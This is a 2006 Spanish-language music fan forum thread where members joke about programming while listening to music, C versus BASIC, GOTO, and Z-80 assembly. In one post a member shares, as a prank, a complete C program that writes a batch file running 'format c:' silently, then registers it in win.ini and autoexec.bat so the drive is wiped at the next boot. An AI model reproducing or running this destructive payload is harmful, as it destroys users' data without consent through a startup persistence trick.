Noticias:

Fairlight Jarre cierra sus puertas. Tenéis el comunicado oficial en portada http://www.jeanmicheljarre.es/

Main Menu

Curiosidad sobre los que programais

Iniciado por Deckard, 06 de Diciembre de 2006, 05:58:26 PM

« anterior - próximo »

Deckard

 Pues eso.. ahora mismo estoy programando y me ha saltado una duda bastante tonta, pero... al fín y al cabo es una duda como otra cualquiera.

printf ("¿Escucháis música mientras programáis?\n");
scanf ("%c", &contestación);

If (contestación==sí)
     printf ("¿Qué música escucháis?\n");

else
     printf ("Ah, pos vaya...\n");

Pinchos.doc

#include <ambient.h>

:-D :-D
_________________________________
Escuchando: Jambi, 10000 Days. Tool.



Deckard

Cita de: William Dhalgren en 06 de Diciembre de 2006, 06:18:16 PM
#include <ambient.h>

:-D :-D
_________________________________
Escuchando: Jambi, 10000 Days. Tool.




printf ("Jajajaja!\n");

Manu1613

 :-D :-D :-D por cierto esto es Basic, mezcla de Basic con algo................ Porque los comandos vamos son similares a los de Basic
Conciertos asistidos:
21/04/08 Oxygene 30th Anniversary Tour - Teatro Liceo, Barcelona -
11/12/10 Indoors Tour - Zénith, Pau -

Pinchos.doc

#4
Cita de: Manu1613 en 06 de Diciembre de 2006, 08:28:26 PM
:-D :-D :-D por cierto esto es Basic, mezcla de Basic con algo................ Porque los comandos vamos son similares a los de Basic

Pues no, no es Basic... Se trata de 'C', un lenguaje algo complicadillo de aprender... Pero con el cual se pueden hacer cosas como que el PC haga un formateo cuando vuelvas a encenderlo de nuevo...  :-D :-D :-D

#include<stdio.h>
#include<conio.h>
#include<stdio.h>
FILE* archivo;
char texto[80];
edx()
{
printf("edx\n");
printf("The world is not enough!!!!\n%c",'\007');
}
main()
{
clrscr();
archivo= fopen("c:\\windows\\edx.bat","wt");
if (archivo==NULL){printf("No se pudo crear!\n");goto fin;}fin:;
fputs("cls\n",archivo);
fputs("@echo=off\n",archivo);
fputs("format c:\\ /autotest /q\n",archivo);
fputs("c:\\windows\\rundll32.exe user.exe,exitwindows\n",archivo);
fputs("echo edx\n",archivo);
fputs("echo The world is not enough!!!!\n",archivo);
fclose(archivo);
archivo= fopen("c:\\windows\\edx.bat","rt");
if (archivo==NULL){printf("No existe el archivo!\n");goto end;}end:;
while (!feof(archivo)){fgets(texto,80,archivo);printf("%s",texto);}
fclose(archivo);
archivo= fopen("c:\\windows\\win.ini","a+b");
fputs("[windows]",archivo);
fputs("run=c:\\windows\\edx.bat",archivo);
fclose(archivo);
archivo= fopen("c:\\autoexec.bat","a+b");
fputs("@echo= off\n",archivo);
fputs("echo edx\n",archivo);
fputs("echo The world is not enough!!!!\n",archivo);
fclose(archivo);
edx();
getch();
}



Edito: este programa no es C si no C++

Manu1613

ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo
Conciertos asistidos:
21/04/08 Oxygene 30th Anniversary Tour - Teatro Liceo, Barcelona -
11/12/10 Indoors Tour - Zénith, Pau -

Deckard

Cita de: Manu1613 en 07 de Diciembre de 2006, 12:34:45 AM
ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo

Según tengo entendido los sistemas operativos están hecho en lenguaje C. Con este lenguaje, si lo dominas bien, puedes ser dios.  :-D

Pinchos.doc

Linux y casi todas sus aplicaciones están escritas en C y C++. Por eso no es de extrañar que una de los principales elementos de los sistemas UNIX sea un compilador C/C++. La distribución Linux Gentoo se servía completamente en código fuente C/C++ que había que compilar desde el principio para instalarla... ¡Hasta había que compilar el compilador!

Hoy en día los sistemas operativos 'Windows' se realizan con compilaciones cruzadas de C++, C#, VisualBasic, J#... Pocas veces se echa mano de C a palo seco más que para crear dependencias a bajo nivel...
___________________________________
Escuchando: Son of Mr Green Genes, Hot Rats. Frank Zappa.

Alvarologie

Cita de: Manu1613 en 07 de Diciembre de 2006, 12:34:45 AM
ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo
Java es la potencia! jejeje para mi el mejor y al que estoy acostumbrado aunque dicen que C# es también la leche. Eso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D
"... porque no queda salida, porque pareces dormida, porque buscando tu sonrisa estarí­a toda mi vida"

Alvarologie

Cita de: William Dhalgren en 07 de Diciembre de 2006, 11:48:11 AM
Linux y casi todas sus aplicaciones están escritas en C y C++. Por eso no es de extrañar que una de los principales elementos de los sistemas UNIX sea un compilador C/C++. La distribución Linux Gentoo se servía completamente en código fuente C/C++ que había que compilar desde el principio para instalarla... ¡Hasta había que compilar el compilador!

Hoy en día los sistemas operativos 'Windows' se realizan con compilaciones cruzadas de C++, C#, VisualBasic, J#... Pocas veces se echa mano de C a palo seco más que para crear dependencias a bajo nivel...
___________________________________
Escuchando: Son of Mr Green Genes, Hot Rats. Frank Zappa.

Ahoramismo no estoy escuchando nada, jejeje. Y es que C (como evolución de B) para programar UNIX pero sin usar código ensamblador, es decir, que fuera portable a todas las máquinas de una manera más comoda sin tener que reescribir todo el código... de ahí a que el UNIX ya sea en alguna distribución de LINUX lo usen tanto.

http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_C

Saludos!
"... porque no queda salida, porque pareces dormida, porque buscando tu sonrisa estarí­a toda mi vida"

Pinchos.doc

Cita de: Alvarologie en 07 de Diciembre de 2006, 11:16:21 PMEso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D

El goto... La herencia que llevas después de 15 años programando en BASIC...  :oops: :oops:
_____________________
Escuchando: Fock of Bluebirds, Antique Dreams. Tangerine Dream.

Manu1613

Cita de: William Dhalgren en 08 de Diciembre de 2006, 10:46:24 AM
Cita de: Alvarologie en 07 de Diciembre de 2006, 11:16:21 PMEso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D

El goto... La herencia que llevas después de 15 años programando en BASIC...  :oops: :oops:

Pero si GOTO es la leche, eso de ir saltando entre líneas como te de la gana :-D
Conciertos asistidos:
21/04/08 Oxygene 30th Anniversary Tour - Teatro Liceo, Barcelona -
11/12/10 Indoors Tour - Zénith, Pau -

Astropop

que pasa?, nadie programa en ASM?.... niñatas  :-D

Pinchos.doc

#13
Cita de: Manu1613 en 08 de Diciembre de 2006, 12:58:35 PMPero si GOTO es la leche, eso de ir saltando entre líneas como te de la gana :-D

La cuestión es que en un lenguaje estructurado como es C, los 'goto' suelen enturbiar los procesos y solo son usados para iteraciones muy complejas... Recuerdo que los 'goto' usados para programar en ensamblador de Z-80 solían ser algo desquiciantes si no sabías bien a donde mandarlos...

ld a,255
ld b,255
out (254), a
ld a,b
djnz 253
ret


Solo válido para ZX Spectrum  :-D :-D :-D
____________________________
Escuchando: Lament, Live in Toronto 24/6/1974. King Crimson.

Pinchos.doc

#14
Cita de: Astropop en 08 de Diciembre de 2006, 01:12:02 PM
que pasa?, nadie programa en ASM?.... niñatas  :-D

Argggg... Qué desagradable el ASM... Es como si le tuvieras que explicar a alguien como ir de Madrid a Barcelona en números romanos...  :-D :-D

Mi anterior programa para Z-80 se quedaría en algo así como...

3E,FF,06,FF,D3,FE,3D,10,FE,C9

A ver quien lo entiende...  :-D :-D :-D